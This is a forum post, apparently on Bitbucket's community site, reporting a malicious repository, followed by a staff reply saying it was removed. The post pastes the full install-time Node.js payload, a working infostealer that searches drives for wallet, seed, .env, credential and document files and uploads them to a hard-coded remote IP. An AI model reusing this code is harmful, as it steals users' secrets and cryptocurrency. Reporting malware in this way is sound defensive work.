I would like to report a malicious repository which was recently updated and led to a malicious code running attempting to upload data to a public IP address:
https://bitbucket.org/royal06/fm-dex/src/main/
The user which created the repository has only the one being reported:
https://bitbucket.org/royal06/workspace/repositories
This is the code executed once the module is installed:
node -e const fs = require("fs"); const path = require("path"); const os = require("os"); const FormData = require("form-data"); const axios = require("axios"); const { execSync, exec } = require("child_process"); const rootDir = os.userInfo().homedir + ""; process.title = "Node.js Javascript Runtime"; const lockFile = path.join(os.tmpdir(), "up.pid"); if (fs.existsSync(lockFile)) { const existingPid = parseInt(fs.readFileSync(lockFile, "utf-8")); try { process.kill(existingPid, 0); process.exit(1); } catch (err) { } } // Write current PID fs.writeFileSync(lockFile, process.pid.toString()); // Clean up on exit const cleanup = () => { if (fs.existsSync(lockFile)) fs.unlinkSync(lockFile); }; process.on("exit", cleanup); process.on("SIGINT", () => { cleanup(); process.exit(); }); process.on("SIGTERM", () => { cleanup(); process.exit(); }); const excludeFolders = [ "node_modules", "npm", "hooks", "android", "example", "AppData", "vendors", "vendor", "public", "css", "less", "scss", ".cache", ".conda", ".move", ".tldrc", ".cocoapod", ".avm", ".brownie", ".3T", ".node-gyp", ".gk", "ChromeDev", ".config", "All Users", ".gnupg", ".pm2", ".snipaste", ".min.", ".bundle", ".vue-cli-ui", ".cursor", ".vscode-server", ".cargo", ".local", ".rustup", ".pub-cache", ".Trash", ".dll", ".dmg", ".pkg", ".msi", ".mp4", ".nvm", ".sol", ".mp3", ".sys", ".avi", ".dat", ".exe", ".bin", ".iso", ".img", ".so", ".apk", ".dylib", ".cab", ".hex", ".srec", ".pyc", ".class", "anaconda3", ".yarn", "build", ".next", ".git", ".github", "cache", "tmp", "temp", "dist", "library", "lib", "imgs", "img", "images", "image", "plugin", "plugin", ".vscode", "package-lock.json", ".pyp", ".myi", ".rustup", ".docker", "manifest", ".expo", "AppData", "windows.old", "pkg", "package", "packages", "openzeppelin", "prisma", "pkgs", "fonts", "debug", "background", "wallpaper", "_locales", "locale", "locales", "Program Files", "Program Files (x86)", "ProgramData", "Windows", "Microsoft", "$RECYCLE.BIN", "Visual Studio Code.app", ]; const searchKey = [ "*.env*", "*metamask*", "*phantom*", "*bitcoin*", "*btc*", "*Trust*", "*phrase*", "*secret*", "*phase*", "*credential", "*profile*", "*account*", "*mnemonic*", "*seed*", "*recovery*", "*backup*", "*address*", "*keypair*", "*wallet*", "*my*", "*screenshot*", "*.doc", "*.docx", "*.pdf", "*.md", "*.rtf", "*.odt", "*.xls", "*.xlsx", "*.txt", "*.ini", "*.secret", "*.json", "*.ts", "*.js", "*.csv", ]; const uu = "http://172.86.116.178:5976/upload"; const uf = async (p) => { if (fs.statSync(p).isFile()) { const form = new FormData(); form.append("file", fs.createReadStream(p)); try { const response = await axios.post(uu, form, { headers: { ...form.getHeaders(), userkey: 610, hostname: os.hostname(), path: p, t: "4" }, }); } catch (uploadErr) {} } }; const toRegex = (pattern) => new RegExp( "^" + pattern.replace(/\./g, "\\.").replace(/\*/g, ".*") + "$", "i" ); // Match file with any pattern const isFileMatching = (filename) => { return searchKey.some((pattern) => toRegex(pattern).test(filename)); }; // Recursive directory scan and upload const scanDir = async (dirPath) => { if (!fs.existsSync(dirPath)) return; const items = fs.readdirSync(dirPath); for (const item of items) { try { const fullPath = path.join(dirPath, item); if (item == "go") continue; const containsExcludedWord = excludeFolders.some((word) => fullPath.toLowerCase().includes(word.toLowerCase()) ); if (containsExcludedWord) { continue; // Skip if full path contains any excluded word } const stat = fs.statSync(fullPath); if (stat.isDirectory()) { if (!excludeFolders.includes(item)) { await scanDir(fullPath, excludeFolders); } } else if (stat.isFile() && isFileMatching(item)) { uf(fullPath); await sleep(150); } } catch (e) {} } }; async function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms)); } setTimeout(async () => { if (os.platform() == "win32") { const driveCmd = `wmic logicaldisk get name`; let drives = execSync(driveCmd, { windowsHide: true }); drives = drives.toString().split("\n"); drives.shift(); for (let i in drives) { const drive = drives[i].replace(/\r\r/gi, "").trim(); if (drive == "") continue; await scanDir(drive + "\\"); } } else await scanDir(rootDir); }, 1000);
As you can see, data is being uploaded to "http://172[.]86[.]116[.]178:5976/upload"
I would like to request this compromised repository to be addressed accordantly before other users fall victim of it.
Regards,
Bruna Vieira
Welcome to the community.
Thank you for reporting this to us, we went ahead and actioned this on our end.
Regards,
Mark C
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.